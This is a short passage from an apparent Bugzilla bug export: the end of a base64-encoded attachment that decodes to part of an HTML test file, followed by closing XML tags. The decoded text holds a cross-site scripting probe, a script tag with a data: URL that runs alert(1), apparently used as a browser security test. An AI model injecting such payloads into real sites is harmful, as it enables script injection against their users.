aG8taW50ZXJ0YWcucGw/cT08c2NyaXB0JTIwc3JjPSUyMmRhdGE6LGFsZXJ0KDEpJTIyIj4KKzwv
aWZyYW1lPgorPC9ib2R5PgorPC9odG1sPgo=
</data>

          </attachment>
      

    </bug>

</bugzilla>